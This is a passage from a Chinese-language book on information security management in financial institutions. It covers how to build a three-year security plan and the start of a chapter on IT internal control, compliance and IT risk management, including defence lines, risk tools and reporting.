3.1　规划前的思考



我们会在日常工作中有非常多的时间浪费现象，或者感觉太辛苦。著名企业文化与战略专家陈春花老师曾说过，要常问自己三个问题：

1）你为什么会辛苦？很多人会发现你想做的事情下属没帮你去做。

2）你为什么很辛苦？你发现每一个小时的效率不够。

3）你为什么那么辛苦？是因为你发现很多人做的事情并不真正产生效益。

据史书记载，诸葛亮54岁去世，诸葛亮为何英年早逝呢？诸葛亮以忠君扶蜀为先，把自身的健康放在一边，既不锻炼，又不习武。为了一统天下，诸葛亮常常要深谋远虑，运筹帷幄。他还习惯于晚睡早起，一生谨慎小心，军中事无巨细，都要事必躬亲，整天弄得精疲力竭。这种身心劳累的负担，年轻时还能应付，一旦过了中年，就会显出快速衰老的征象。据史书载，诸葛亮的使者到了魏营，司马懿不问军中之事，单问诸葛亮的饮食起居和工作忙闲情况。使者告诉他，诸葛公向来喜欢晚睡早起，连罚打士兵二十军棍这样的小事都要亲自处理，可早饭却吃得很少。司马懿听后马上得出结论：“亮将死矣！”果然不出司马懿所料，不久在撤退途中，诸葛亮就忧虑呕血而亡。可见，事必躬亲，对大BOSS来讲，弊大于利。

三个问题，一则典故，反映了很多问题和错误，这些错误显然都不应该发生。但怎么解决呢？这个见仁见智，可以有很多角度的解决方案。但在信息安全领域，首要的解决方案就是做好安全规划。

金融企业战略规划（通常是五年为周期）、IT战略规划（通常三年为周期）、信息安全三年规划、××年工作计划，是自上而下、一脉相承的。负责制订IT战略规划的人，通常会要求企业安全负责人提供信息安全三年规划作为基础材料，统筹而成。能否做一份看起来高大上，实施起来又接地气可执行的信息安全规划，是金融企业安全负责人的必备技能。

信息安全规划，以及在此框架下的年度工作计划，决定了新一年的安全投入，包括人员和资金的预算。而预算的大小，往往和IT战略规划中信息安全相关内容的篇幅形成正比关系。

在信息安全规划编制启动时间点选择方面，建议选择每年10月启动，12月定稿。有的企业喜欢12月启动，春节前后甚至3月底定稿，这样的时间安排存在很大弊端。企业工作中，总结、考核、预算，通常以自然年为单位（大部分金融企业如此，外资企业不同），而企业员工概念中，一年工作结束一般以农历年为单位。因此元旦到春节后，各种年会、总结、庆祝，基本上处于一个工作断档期。规划如果是3月前后定稿，那么和规划相关的重点项目的资源准备，如合作厂商技术交流测试、项目采购等，就会浪费自然年的第一季度。如果每年10月启动，12月定稿，就可以利用元旦到春节前后的时间，进行规划相关项目、资源的准备工作（比如，采购文档编制、采购流程发起、新招人员面试笔试等），春节后就可以开足马力，立刻开干。

安全规划考虑的因素，除了时间外，还应该考虑监管要求、企业风险偏好、IT战略目标、技术发展、资源约束、安全价值体现等，此处就不一一展开了。




3.2　规划框架



安全规划的框架，应包括概述、需求分析和安全目标、各个安全领域的现状和差距分析、解决方案和计划、安全资源规划、当年重点项目和重点任务、上一版安全规划目标差距分析等。以下是安全规划的框架示例，如图3-1所示。




图3-1　安全规划框架示例

概述部分主要包括信息安全形势分析，安全形势可以是外部安全形势、行业形势、监管和股东要求、对手分析（攻击者、内部异常员工）等。

安全目标是指规划周期结束组织应该达到什么样的信息安全水平。安全目标应该是跳一跳，拼命奔跑才能达到的，甚至是很大概率达不到的，而不应该是躺在床上就能实现的。

对现状和差距的分析相当于自我体检，最重要的是能从过往的安全检查中分析管理差距，以及从白盒检测、黑盒检测失效中获得技术差距。其中黑盒检测有两大利器，即安全众测和红蓝对抗，能够先于对手发现自己的漏洞和弱点，对这类检测失效的原因进行深挖，是差距分析的重点。

解决方案和计划，解决方案提出的一条条解决措施，最终要落到重点项目和任务上去实现。计划分解的频度方面，当年的至少细化到月，未来两年的细化到季度即可。

当年重点项目和重点任务，是解决方案落地的关键，当年的工作目标靠重点项目和重点任务实现。差距、解决方案、重点项目和任务、计划要形成一系列有继承关系的完整链条，才是可落地的整套规划。项目和任务的区别是，项目比任务要大和复杂一些，任务属于优化改进的小措施，项目通常是要立项和花钱的，如图3-2所示。




图3-2　安全规划落地示例

上一版安全规划目标差距分析，是针对上一阶段的规划执行情况进行回顾和检讨，排查实际完成效果与规划目标的差距，分析造成差距的原因，避免新规划执行过程中重蹈覆辙；分析后认为需要调整或补充执行的内容，放入新的规划中落地。




3.3　制订步骤



制订安全规划的步骤包括：

1）调研。

2）确定规划目标、现状和差距。

3）制订解决方案。

4）一稿，二稿……直到定稿。

5）向上层汇报。

6）回顾。




3.3.1　调研



做规划前，大BOSS一般喜欢问我们几个问题：

·未来三年，本团队要做的最牛的三件事是什么？

·未来三年，你认为世界最好的团队会做哪三件最牛的事（我们不做的原因）？

·未来三年想做但没敢写入规划的三件事是什么？本团队领域，很有价值但技术没有可能实现的事情是什么？请列出1~2件。

每年最痛苦的就是怎么填这个大坑了，后来，我们将大BOSS的问题转换了一下，更接地气一点：

·这个领域最好的团队在做什么（最佳实践）。

·我们在同业处于什么水平（自我感知）。

·我们的现状（存在哪些差距）。

回答上述问题的最好渠道是实地调研，多方学习，例如：

一是向大型互联网企业学习，这些大型互联网企业无论是面临的安全威胁、全量的攻击场景、复杂的网络和应用环境，还是海量的服务器、终端、人员数量、遇到过的坑等，都是宝贵的实践经验。稍显遗憾的是，互联网企业（特别是做安全的）不太可能敞开心扉进行传道授业解惑。因此，拥有一定的安全圈人脉资源也是企业安全负责人的必备条件之一，越来越多的企业安全人员招聘也要求这点。同时，注意参加这些互联网企业举行的年度会议，也能收获很多干货，建议多参加此类会议，远离厂商自嗨会。

二是向同业学习。可以抓住一切了解金融同业的机会，向规模比自己大的企业学习实践中遇到过的问题，向规模差不多的企业学习资源配置情况，向规模比自己小的企业学习单点突破能力强的领域。每年开春后，北上广深走一圈，基本上就能大致了解整个行业的概况。




3.3.2　目标、现状和差距



调研结束后，金融企业安全负责人通常对行业的未来趋势和规划方向有了大致了解，接下来就需要明确本企业的目标，分析现状和差距。


1.目标


目标来自于企业战略规划和IT战略规划，分为总体目标和具体目标。

·总体目标，应尽可能清晰、简洁，相对宏观和“务虚”。企业安全目标可以定义为“通过综合应用各类安全解决方案，发现并预防各类安全风险，能够承受除DDoS以外的黑客高手或者黑客集团的攻击；内部系统能有效防止非专业人员有意或者无意的数据泄露；能发现对内部重要服务器的普通内部黑客的攻击；对人员进行安全合规教育，违规、违纪现象持续降低，安全审计发现持续降低”。

·具体目标，应尽可能明确、数字化，相对微观和“务实”。例如，非本企业组织的互联网系统漏洞发现为0；安全防护100%全覆盖；互联网基础设施风险在2小时内化解；自动化验证平台100%覆盖所有管控措施，管控措施失效能够在24小时内发现……

关于规划的目标，有两点注意事项需要说明。

一是目标绝对不合理。目标是一种预测，没有人敢说预测是合理的；而且，目标是一种决心，你发誓要做什么，目标就会出来。目标其实是你自己战略的一个安排，决定你目标的是三个要素：你对未来的预测，你下的决心，你的战略想法。

二是实现目标的行动必须合理。理解了这点，规划就成功了大半，才能围绕实现目标制订行动计划。如果实现目标的行动是合理的，那么看似不合理的目标反而有实现的可能。

关于目标，陈春花老师有三个建议，笔者很赞同，在此也做些分享：

·目标一定是从上往下，一定不要从下往上。我们最喜欢犯的错误就是团队或者个人将自己要做的工作一报，报完集合起来然后往下一拍就行。目标绝对不能从底往上报，目标一定是上边来定，其他东西都可以授权，但是目标设定是不授权的。

·目标必须是个人的目标。目标一定要给到个人，而不可以给到部门。

·每一个人承接的不是目标，而是一套解决方案。他必须去承诺这个解决方案，怎么让这个目标实现。目标不是要确保实现1亿的销售额，而是要告诉我为了实现这个销售额的行动方案是什么。

此处，科普一下目标设定的SMART原则及在安全规划领域的应用，如图3-3所示。




图3-3　SMART原则

（1）Specific—明确性

所谓明确的就是要用具体的语言清楚地说明要达成的行为标准。明确的目标几乎是所有成功团队的一致特点。很多团队不成功的重要原因之一就是目标模棱两可，或没有将目标有效地传达给相关成员。

举个例子，安全目标中有一条是“防黑反黑”。这种对目标的描述就很不明确，因为我们不知道要防护哪些目标，防护什么级别的黑暗力量。所以最后可以改成：能够承受除DDoS以外的黑客高手或者黑客集团的攻击；内部系统能有效防止非专业人员有意或者无意的数据泄露；能发现对内部重要服务器的普通内部黑客的攻击。

（2）Measurable—衡量性

可衡量的是指应该有一组明确的数据，作为衡量是否达成目标的依据。如果制订的目标没有办法衡量，就无法判断这个目标是否实现。

举个例子，定安全目标时，常见的用词是“提高××水平”“加强××能力”“完善××措施”，这些目标是无法衡量的，因为不知道要提高到什么水平，加强到什么能力，完善哪些措施。在内部定具体安全目标时尽量使用可量化的目标，例如，非我公司组织的互联网系统漏洞发现为0；管控措施失效能够在24小时内发现，等等。

（3）Attainable—可实现性

目标是能够被执行人所接受的，目标设置要坚持员工参与、上下左右沟通，使拟定的工作目标在组织及个人之间达成一致。目标不能是躺在床上就能完成的，也不能是“摘星星”的工作任务。

举个例子，中小金融企业如果提出所有安全防护系统和工具都自研这一目标，虽然勇气可嘉，然而实现起来却非常困难。当目标完全不可实现，会打击团队士气，造成“死猪不怕开水烫”的后果。

（4）Relevant—相关性

目标的相关性是指实现此目标与其他目标的关联情况。如果实现了这个目标，但对其他目标完全不相关，或者相关度很低，那么即使达到这个目标，意义也不大，还很有可能劳民伤财，得不偿失。

举个例子，所有安全规划的目标和任务都是围绕保障企业安全性，并最终促进企业战略目标来计划的，如果一项工作与企业战略目标完全无关，不管其技术先进性多么强，都应该忽略。

（5）Time-bound—时限性

目标的时限性是指目标是有时间限制的，没有时间约束的目标是没有办法衡量和评价的。

举个例子，安全工作的目标和任务需要时间约束，比如三年后达到什么安全水平，每一年提升哪些安全能力，每个季度完成哪些安全任务，都是时间条件强约束。


2.现状和差距


对于现状和差距主要考虑以下两点：

一是分析维度要全，建议分成安全管理、安全防护、安全运营、安全资源、安全度量五个维度。安全管理考虑组织架构、职责、制度、考核；安全防护考虑覆盖网络层、虚拟层、系统层、应用层、数据层、用户层的纵深防护技术体系；安全运营考虑安全运维、安全验证、安全反制；安全资源考虑人员、流程、资源；安全度量考虑技术维度、安全运营成效、安全满意度和安全价值。现状和差距最好能做到全量摸底，重点突出。

二是敢于自揭老底，自我否定。不要自我感觉良好，没发现异常很可能是发现能力不够，没有事件很可能是运气好。




3.3.3　制订解决方案



目标确定并分析差距后，必须针对性地制订解决方案，才能确保目标落地实现。制订解决方案要注意以下几个原则：

一是要体系化。头痛医头脚痛医脚，可能短时间得到一点效果，但禁不住大BOSS问，怎么又是这个问题，怎么又要这个投入，你们能一次性和我说清楚吗，等等。有些问题，初看是技术问题，仔细想想，其实根源还是管理问题。遇到问题，最好从管理和技术两个方面考虑解决措施，得到综合的结果。

二是要可持续。金融企业有个常见的例子，给分行或分支机构上IPS/IDS，但分行或分支机构根本就没有能看懂IPS/IDS日志的管理员，如果合规要求必须上，那一定要考虑日志如何收集、分析和处理。最好的做法是将日志统一上收到总部，由总部统一管理和运营（注意不是运维，日常开机等还是分支机构管，日志分析和异常告警由总部完成）。每项安全措施、每套安全设备都是有管理成本的，如果仅仅上一个技术手段，而不考虑持续的运营，那么这个解决方案整体看来就是无效的。

三是要可接受。制订解决方案后，要确保安全团队的每位成员都从心里认同它、接受它，这样执行才会有效率和有效果。提高团队成员接受程度的一个好方法是，先让团队成员熟悉目标、现状、差距，然后找晚上时间进行头脑风暴，连续一周，强化训练。当然，头脑风暴过后，要记得去“撸串”，团队建设、凝聚力、肚子饿的问题就都一并解决了。




3.3.4　定稿



一稿，二稿，……，定稿。关键是迈出第一步，完成第一稿，万事开头难，一旦开始就停不下来了。这个过程还有一个很重要的环节—征求意见。首先，在安全团队内部充分讨论、碰撞，形成共识；其次，在IT内部其他团队征求意见，取得共识；再次，要做好上层汇报，完成定稿。




3.3.5　上层汇报



管理领域有个话题—如何管理你的上级，将上级作为你工作的资源之一。这是非常重要而有趣的话题。安全汇报是“管理”上级工作中非常重要的一环，往往也是安全人员最不擅长的一环。

首先，要建立面向高级管理层、IT部门总经理、安全团队内部的安全汇报体系。每年至少要向高级管理层汇报1~2次，内容包括安全规划、安全形势、重大安全决策等。汇报形式可以是IT治理委员会或总裁办公会框架下的正式会议，也可以是定期的签报形式，这取决于企业内部的流程规定和具体需求。

其次，要在IT部门和安全团队内部进行常态化的安全汇报，此类汇报的内容要围绕三个目的展开—介绍取得的成果（邀功），表扬先进和督促后进，索要资源。

具体到安全规划的汇报，建议先向IT部门总经理汇报，就目标、计划、资源达成一致。但大部分总经理没有精力也不应该过多关注解决方案等细节，最多可能关心现状分析中存在的主要问题。达成一致后最好能在高级管理层汇报一次，可以是单独的安全规划议题，也可以合并在IT战略规划中，向高级管理层报告。




3.3.6　执行与回顾



安全规划的执行与回顾，是规划全生命周期中非常重要的一个环节。因为一个看似一般但严格执行的规划，远胜于一个看似很好却无法或未能执行的规划。为了确保安全规划的落实，最好的方法是将安全规划目标分解落实到安全重点项目和工作任务，再将重点项目和工作任务分解落实到安全团队每位员工的年度绩效考核中。至少每季度开展一次重点项目和工作任务的回顾，至少每半年开展一次安全团队员工绩效的回顾，回顾后需要制订针对性的改进措施。

在实践中，经常可以听到关于规划无用论的抱怨，如果做完规划就将之束之高阁，那么规划当然没用。而坚定不移地执行规划并做好定期回顾，将规划作为真正的行动指南，规划才能避免成为空中楼阁。

通常信息安全规划一次做三年，每年滚动更新。任正非说过，方向可以大致正确，组织必须充满活力。就是说，大家必须充满活力地去执行规划，但在执行中可以随时调整规划。




3.4　注意事项



从某种意义上讲，安全规划其实是一套行动方案。规划不是目标分解，而是行动指南。在做规划的时候，还有以下几点要特别注意，才能取得更好的成效。

一是要有逻辑，切记堆砌。很多企业安全负责人不重视安全规划，为了省时间，简单地把自己想做的工作全部罗列出来，就形成了一个安全规划。但对于为什么要做这些工作，能解决什么问题，提高到什么安全水平，和同业的差距等，没有系统的介绍，那这份安全规划得到高级管理层支持的概率会很低。

二是既要实（可落地），也要虚（远大目标），虚实结合。总体目标、方向上可以务虚，眼光看远一些，目标定高一些；具体措施上、行动上必须务实，脚踏实地，分解成一项一项行动计划，才可以确保规划的最终效果。




3.5　小结



年底是企业安全负责人最忙的时间，但也是做安全规划的最佳时机，必须重视安全规划，因为安全规划是“纲”，而“纲举”方能“目张”。适时做出一份看起来高大上、实际实施又接地气、可执行的信息安全规划，是企业安全负责人的必备技能。




第4章　内控合规管理



金融行业的典型特征是，各项业务开展以及IT发展，必须遵守各项管理规定，合规是金融企业的底线和最低要求。为落实监管规定以及企业内部管理制度，金融业内部控制（简称“内控”）的要求相对其他行业高出不少。对于金融机构来说，IT内控合规是广义信息安全的一部分，而且是科技管理体系中很重要的一环。




4.1　概述






4.1.1　合规、内控、风险管理的关系



合规、内控、风险管理，是金融企业经常提到的三个关于合规建设的概念，这三者之间既有区别，又有关联。

·合规管理是最基础的层面，合规管理的目标是避免违反内外部法律法规、规章制度、流程规范，避免因不合规导致的风险。

·内控比合规管理更进一层，内控不但要求合规，还要审视“规”是不是完善，“规”有没有配备相应的执行点，执行“规”的过程是不是有效。

·风险管理，特别是全面风险管理，是风险管控的最高形式。风险按标准划分为市场风险、信用风险、流动性风险、操作风险、法律风险。而合规、内控只是操作风险管理的手段。大部分金融企业会设置首席风险官，属于公司高级管理层。

虽然从一般意义上说，风险管理>内控>合规，但由于企业习惯将风险管理及其所包含的内控、合规活动统称为内控合规管理，而且本书探讨的是企业信息安全管理，故本书所称的内控合规，特指IT内控合规，即围绕信息科技风险管理的一系列管理活动。




4.1.2　目标及领域



金融企业IT内控合规管理的目标是，通过建立有效的机制，实现对金融企业IT风险的识别、计量、监测和控制，对外保障IT活动符合监管机构各项管理要求，对内确保各项管理要求的落地和控制措施有效，最终实现IT风险可控。

在具体实践中，IT内控合规管理的领域包括：信息科技风险管理、监督检查、制度和公文管理、业务连续性管理、信息科技外包管理、分支机构管理，以及其他一些工作。根据不同企业对IT内控合规的理解不同，管理的领域可能会有一些不同。

在很多金融企业中，IT内控合规管理的岗位给人的印象就是“写报告”，这种说法比较通俗易懂，但失之偏颇。

其一，写报告只是展现方式，报告中的内容，需要各种学习、对标、检查、督促等大量的积淀。所谓“巧妇难为无米之炊”，可以说，先要有对风险的深度掌控这个“米”，才能做出一份好报告的“炊”。

其二，要写好一份报告，不是简单的文字堆砌，而是需要能力、知识、技能和逻辑架构的功底，需要很多年持之以恒的积累和丰富的技巧。针对不同的对象要有不同的报告，针对不同的要求要有不同的报告，针对不同的时期也要有不同的报告。所谓“运用之妙，存乎一心”，要写得非常熟练、自然、流畅，要合乎阅读对象、形势、场景、时间的需要，需要多年的积累，方可挥洒自如。




4.1.3　落地方法



笔者从IT内控合规管理工作的经历中，总结出一套落地方法，可以用一个简单的口诀表示——外规对内规，内规对检查，检查对整改，整改对考核。

·外规对内规。将外部规范要求分解成元要求，去重合并，和内部规范一一对应，每条元要求对应的结果为三者其一：1）满足要求；2）冲突；3）缺失。如果是2）、3）两种情况，要么修订内部规范，要么增加内部规范，以满足外规要求。通过识别，外部规范（指中国人民银行、银监会、公安部等监管机构发布的规章）分解成9大类、52个小类、1249条元要求，去重合并后形成外规内规对应关系。在外规对内规的梳理过程中发现了部分外规元要求没有内规承接和冲突的情况。

·内规对检查。依据监管要求和外部标准梳理出内部规范后，建立一套适用的检查标准，并进行全面覆盖的检查，包括常规检查、专项检查和事件驱动检查。具体内容见4.3节“监督检查”。

·检查对整改。建立一套电子化系统，实现检查计划制订、检查实施、报告管理、问题跟踪等全过程的电子化管理。检查发现和整改情况纳入问题管理流程。

·整改对考核。将检查发现和整改情况纳入团队和个人当月和年度考核，实实在在地与个人收入挂钩，才可能引起重视，提高整改达成率。

较多的大型金融机构（如银行）均建立了外规条款数据库，并可以根据关键字进行快速检索查询，供内部使用，取得了不错的效果。

下文分别介绍IT内控合规管理的各个领域。




4.2　信息科技风险管理



银监会发布了《商业银行信息科技风险管理指引》，证监会（包括协会）发布了《证券期货经营机构信息技术治理工作指引（试行）》《证券期货经营机构信息技术治理工作指引（试行）》等，对信息科技风险管理提出了明确的管理要求。


 注意


银行业“信息科技”的提法较多，证券基金期货“信息技术”的提法较多，本文未做严格区分。




4.2.1　原则




信息科技风险
 是指在运用信息科技过程中，由于自然因素、人为因素、技术漏洞或管理缺陷产生的操作、法律和声誉等风险。信息科技管理的原则如下：

·事前预防为主原则。在风险发生以前建立有效的风险管理措施，降低风险发生的可能性或减少风险可能造成的损失。

·全面性原则。信息科技风险管理应覆盖到全行各部门、岗位、人员及操作环节中，使信息科技风险能够被识别、评估、计量、监测和控制。

·成本效益原则。对风险管理措施的实施成本与风险可能造成的损失进行分析比较，选取成本效益最佳的风险控制方案。

对信息科技风险的管理需要根据董事会设定的风险偏好，在成本效益原则下，最大限度地完善信息科技风险管理体系，保障IT长期、稳定、健康的发展。




4.2.2　组织架构和职责



典型的信息科技风险管理组织架构示例如图4-1所示。




图4-1　信息科技风险管理组织架构

下面简单介绍金融机构信息科技风险防范三道防线。在一般商业银行中三道防线的概念比较多，其他证券保险基金期货用此概念较少，但实际部门组织架构和岗位职责的设置是类似的。

第一道防线：信息科技部门

·主要关注日常的风险管理。

·识别、分析与评估、控制、监测及报告风险管理情况。

·信息技术部门各团队严格执行各项风险管理政策和要求，定期评估。

·通常向首席信息官、信息科技管理委员会报告。

第二道防线：风险管理部门

·侧重制定风险管理政策、制度、流程，在第一道防线的基础上对风险进行集中管理。

·在总部层面设立风险职能部门，监督和协调整个风险管理框架的有效性和完整性，与前台部门保持相对独立。

·对IT条线提供精细化的风险管理策略和支持。

·与第一道防线保持一定的独立性，通常向首席风险官、风险管理委员会报告。

第三道防线：稽核审计部门

·按期进行全面的或专项的审计或稽核。

·与IT部门和风险管理部门保持独立，对风险管理框架、内控体系的完整性和有效性提供独立的审计和管理意见。

·通常向董事会下设的审计管理委员会直接报告。


 注意


一道防线和二道防线向经营管理层汇报和负责，而稽核审计部可以直接向董事会汇报和负责，保持独立性。




4.2.3　管理内容



信息科技风险管理可以从8个领域开展：

·IT治理。IT治理的目标是，形成分工合理、职责明确、相互制衡、报告关系清晰的信息科技治理组织结构，为企业信息科技的发展提供战略方向和资源保障，并保证信息科技的战略与全行业务战略目标相一致。

·信息安全。信息安全的目标是建立信息安全管理策略和技术措施，确保所有计算机操作系统和系统软件的安全，并进行必要的员工培训。这里所讲的信息安全，是指狭义的信息安全。

·信息系统开发、测试和维护。信息科技部门应针对信息系统需求分析、规划、采购、开发、测试、部署、维护、升级和报废等各环节，建立管理制度和流程，管理信息科技项目的排序、立项、审批和控制，并持续监控重大信息科技项目的进展情况。

·信息科技运行。信息科技部门应对人员职责分配、数据保存、操作方法、服务水平、变更、故障、性能及容量管理，建立制度和流程，并对信息科技突发事件建立应急处置预案，严格执行突发事件报告制度，落实突发事件的处置职责。安全保卫部门负责信息系统机房的物理环境安全管理。

·业务连续性管理。金融企业和各相关机构应建立恢复服务和保证业务连续运行的管理机制和备用方案，并定期对其进行检查和测试，保证在业务运行中断时可以快速启动备用方案，降低业务中断带来的影响。信息科技部门负责信息系统灾难恢复方案的制订、实施和维护。

·外包管理。信息科技部门负责管理信息科技相关的外包业务，制定与信息科技外包业务有关的管理政策，保证信息科技外包服务有协议、服务合同和监督机制的约束。

·内部审计。审计部门应根据信息科技风险所涉及活动的性质、规模和复杂程度，信息科技应用情况，以及信息科技风险评估结果，决定信息科技审计范围和频率，对信息科技风险管理的适当性和有效性进行审计和评价，向董事会提供独立的信息科技风险审计意见。审计部应至少每三年进行一次全面的信息科技风险审计；在进行重大系统开发时，审计部门应参与其中，保证系统开发符合金融企业的信息科技风险管理要求。

·外部审计。在符合法律、法规和监管要求的情况下，根据需要可以委托具备相应资质的外部审计机构进行信息科技外部审计。在委托外部审计机构进行外部审计时，应与其签订保密协议，并督促其严格遵守法律法规，保守公司的商业秘密和信息科技风险信息。




4.2.4　管理手段和流程



信息科技风险管理，需要遵循一定的“套路”—有流程、有方法、有工具。


1.管理手段


信息科技风险隶属于操作风险，管理手段一般遵从第二道防线风险管理部门的管理手段。实际中，无论是银行还是证券，都会按照第二道防线下发的操作风险管理三大工具和要求开展工作。这里简单介绍一下操作风险管理的三大工具。

操作风险管理的三大工具，包括风险与控制自我评估（Risk Control Self-Assessment，RCSA）、损失数据收集（Loss Data Collection，LDC）和关键风险指标（key risk indicators，KRI）。三大工具贯穿操作风险管理始终，为高效率、系统化的操作风险管理提供帮助。通常采取信息科技风险与控制自我评估、设置信息科技关键风险指标、信息科技风险监控报表三种手段对信息科技风险进行管理。

·RCSA，是识别和评估信息科技风险及风险控制措施有效性的管理手段。各相关部门应按照预先设定的工作方法，对其职责范围内的信息科技风险管理现状进行评估。信息科技风险与控制自我评估是信息科技风险管理持续改进的基础工作和关键环节。

·LDC，是指依据监管规定、内部操作风险偏好与管理需求所定义的收集范围，针对操作风险事件的相关信息进行数据收集、内容分析、整改方案设计与执行、损失分配和内外部报告等程序。通过持续开展损失数据收集，一方面，可以动态反映企业操作风险损失的分布情况及发生诱因，为有效识别评估操作风险和强化管理提供线索和方向；另一方面，可以逐步建立操作风险损失数据库，为今后进行风险建模和计量积累数据，最终达到提高操作风险管理水平、降低风险损失的目的。

·KRI，是反映信息科技风险水平的一系列统计指标，具有可量化的特点。关键风险指标用于监测可能造成重大信息科技风险事件的各项风险及控制措施，并作为反映风险变化情况的早期预警指标。通过对主要风险类型的早期预警并及时采取应对措施，避免重大信息科技风险事件的发生。

同时，通过信息科技风险监控报表，定期汇总分析，能够获取信息科技风险情况，并能掌握总体风险变化趋势。


2.管理流程


金融企业的信息科技风险管理流程包括信息科技风险识别、风险分析与评估、风险控制、风险监测及风险报告等五个环节。

·风险识别。
 信息科技风险识别是指对企业具有脆弱性，可能受到威胁侵害，需要保护的信息资源或资产进行识别和分类，并对相关的威胁和脆弱性进行确认的过程。风险识别是风险管理的第一步，也是风险管理的基础。信息科技风险具有一定的可变性，风险识别是一项持续性和系统性的工作，应密切注意原有风险的变化，并随时发现新的风险。

·风险分析与评估。
 信息科技风险分析是指对风险的可能性及其发生以后所造成的影响进行综合度量。信息科技风险评估单位应通过定性或定量的评估方法，判断风险的影响程度和发生可能性，确定风险的等级。

·风险控制。
 信息科技风险控制指根据企业的风险偏好及风险评估的结果建立相应的风险管理措施。通过建立事前预防、事中监控及事后复核的风险管控手段，降低风险发生的可能性及其造成的影响，并根据公司的信息科技风险容忍程度采取规避、降低和转移风险的措施，将风险控制到公司可接受的水平之内。

·风险监测。
 信息科技风险监测是指对信息科技风险进行定期或持续的检查，及时发现新出现的信息科技风险以及风险管理措施出现的问题，并采取相应的补救措施，以保证公司的信息科技风险在不断变化的内外部环境中，始终处于公司的风险容忍水平之内。应定期通过风险评估和审计等方式对风险的发展与变化情况进行持续监测，并根据需要对风险应对策略进行调整。

·风险报告。
 信息科技风险报告指信息科技部门、风险管理部门和稽核审计部门，依据特定的格式和程序对信息科技风险状况进行描述、分析和评价，形成信息科技风险报告后，按照规定的报告路线进行汇报。报告的内容应完整、客观、清晰。




4.2.5　报告机制



为了使董事会、高级管理层和各级领导充分、及时地了解金融企业的风险状况，需要建立信息科技风险报告机制。报告遵循以下原则：

·逐级上报。

·IT业务条线、风险管理条线、审计条线各自汇报。

各部门的汇报路径、汇报形式和汇报频率，如图4-2所示。




图4-2　汇报路径示例


1.按照报告部门划分


信息科技部门、风险管理部门和审计部门分别按照以下汇报路径，向高级管理层和董事会报告全行信息科技风险状况和重大信息科技风险事件：

·信息科技部门负责定期向高级管理层下设的信息科技管理委员会报告信息科技风险管理工作情况。

·风险管理部门负责定期向高管层下设的风险管理委员会报告信息科技风险状况；同时，根据要求向董事会及下设的风险控制委员会报告。

·审计部门负责定期向董事会下设的审计委员会报告信息科技审计情况。


2.按照报告频率划分


第一类是定期报告，三道防线部门按照不同频率和报告路线开展：

·信息科技部门向主管IT的高级管理层成员汇报信息科技风险管理月报，向第二道防线、第三道防线汇报IT风险管理和IT内外部审计情况。其中信息科技风险管理月报主要是向主管科技的高级管理层成员（例如首席信息官）汇报周期内IT运行情况（事件、容量、交易量、业务连续性等）、研发情况（开发质量、）、信息安全（数据安全、人员管理、审计问题），以及其他事项。

·风险管理部定期完成操作风险监测并向高级管理层报告，至少每季度向董事会及下设的风险控制委员会报告全面风险管理情况（包括信息科技风险）。

·审计部每年向董事会下设的审计委员会报告信息科技审计情况。

第二类是触发式报告，由信息科技部在发生以下情况时主动报告：

·发生重大信息科技风险事件。

·信息科技环境发生重大变化。

·监管机构要求时向高级管理层汇报。

此外，除了向高级管理层进行内部汇报外，还要按照监管要求向监管机构报送与信息科技风险有关的报告，也包括定期报告或触发式报告两种形式。




4.2.6　信息科技风险监控指标



信息科技风险管理在IT管理中日益重要。对于高级管理层来说，需要全面了解公司信息科技风险及风险管控情况，并能够在一定程度上对可能发生的风险事件进行预警。对于人民银行、银监会、保监会、证监会等监管机构来说，针对银行信息科技提出了一系列监管要求，需要及时发现合规问题和潜在风险，确保整体合规。为此我们设定了一系列监控指标，并进行持续地整合和完善，力求建立一套内容全面、标准统一、结构系统的信息科技风险监控指标体系。

在实际工作中，经常发现以下问题：

·监管要求来源渠道多，容易遗漏。

·不同渠道的部分监管要求重复。

针对这些问题，可以采取以下措施解决：

·建立信息科技风险库。

·建立信息科技风险监控指标体系。

·运用监控指标体系。


1.建立信息科技风险库


为了全面、体系化地识别日常管理中需要的信息科技风险监控指标，首先需要建立一套完整的信息科技风险库。风险库来源应该全面覆盖行业监管合规要求、行业风险事件、行业标准、公司风险现状和相关专家知识库，保障风险库的完备性，如图4-3和图4-4所示。

基于“威胁×脆弱性=风险”的理论基础，可以从监管要求、行业和公司历史风险事件、业界最佳实践标准等着手，从自然环境因素、人员因素、技术因素和业务因素等方面的威胁，分析出在人员、流程和技术等领域的脆弱性，进而识别出信息科技风险点，形成信息科技风险库。

通过对人民银行、银监会等监管机构发布的监管要求和标准进行详细解读，逐条提炼出相对应的信息科技风险描述，同时将业界和企业内部历史上曾经发生的信息科技风险事件案例作为风险识别的一个重要输入，通过对监管机构发布的风险提示、披露的银行业信息科技风险事件和内部过往信息科技风险事件的分析，提炼出各个风险案例中的风险点，并结合信息系统和技术控制目标（Control Objectives for Information and related Technology，COBIT）、信息技术基础架构库（Information Technology Infrastructure Library，ITIL）、ISO27001（信息安全管理体系）、软件能力成熟度集成模型（Capability Maturity Model Integration，CMMI）等国际标准和内部多年积累的风险知识库的内容，构建成信息科技风险库。




图4-3　信息科技风险指标库来源




图4-4　信息科技风险识别框架


2.建立信息科技风险监控指标体系


识别关键风险指标是指，基于前期建立的信息科技风险库中各个风险点，进行全面梳理和分析，在对所有风险点进行评估的基础上，分析确定各个风险点的驱动因素，并进行关键信息科技风险指标的识别。然后，根据重要性、系统性、合规性、代表性和可操作性等原则，对风险监控指标进行筛选。最后，在指标确定后，明确指标的含义和计算方法等关键属性，如图4-5所示。




图4-5　信息科技风险关键指标识别方法

关键信息科技风险指标可以是客观的量化指标，如信息系统可用率，也可以是偏重定性的指标，如信息科技组织架构合理性等；可以是客观的，如灾备系统覆盖率，也可以是主观评价型的，如信息科技组织架构成熟度等。


3.监控指标体系的运用


监控指标体系主要运用在以下几个方面：

·有效评估信息科技风险管理水平。

·动态监测信息科技风险状况。

·合理配置信息科技风险管理资源。

·及时采取管理措施。

必要时通过专业数学建模方法论，可以构建信息科技风险预警模型和管理流程，预警风险并进行风险处置。


4.指标监测和报告


日常进行风险指标监测，并按月向二道防线和公司主管领导汇报监测情况，对于监测到的异常需要进行及时处置。




4.3　监督检查



首先，依据监管要求、外部标准和内部规范梳理出一套适用的检查标准，并进行全面覆盖的检查。通过识别，外部规范分解成9大类、52小类、1249条元要求，去重合并后形成外规内规对应关系，也就是信息科技风险检查标准库，如图4-6所示。

然后，制订全年检查计划，采用常规检查、专项检查、事件驱动检查相结合的方式，100%覆盖信息科技风险检查标准库。一个典型的监督检查运行图，如图4-7所示。

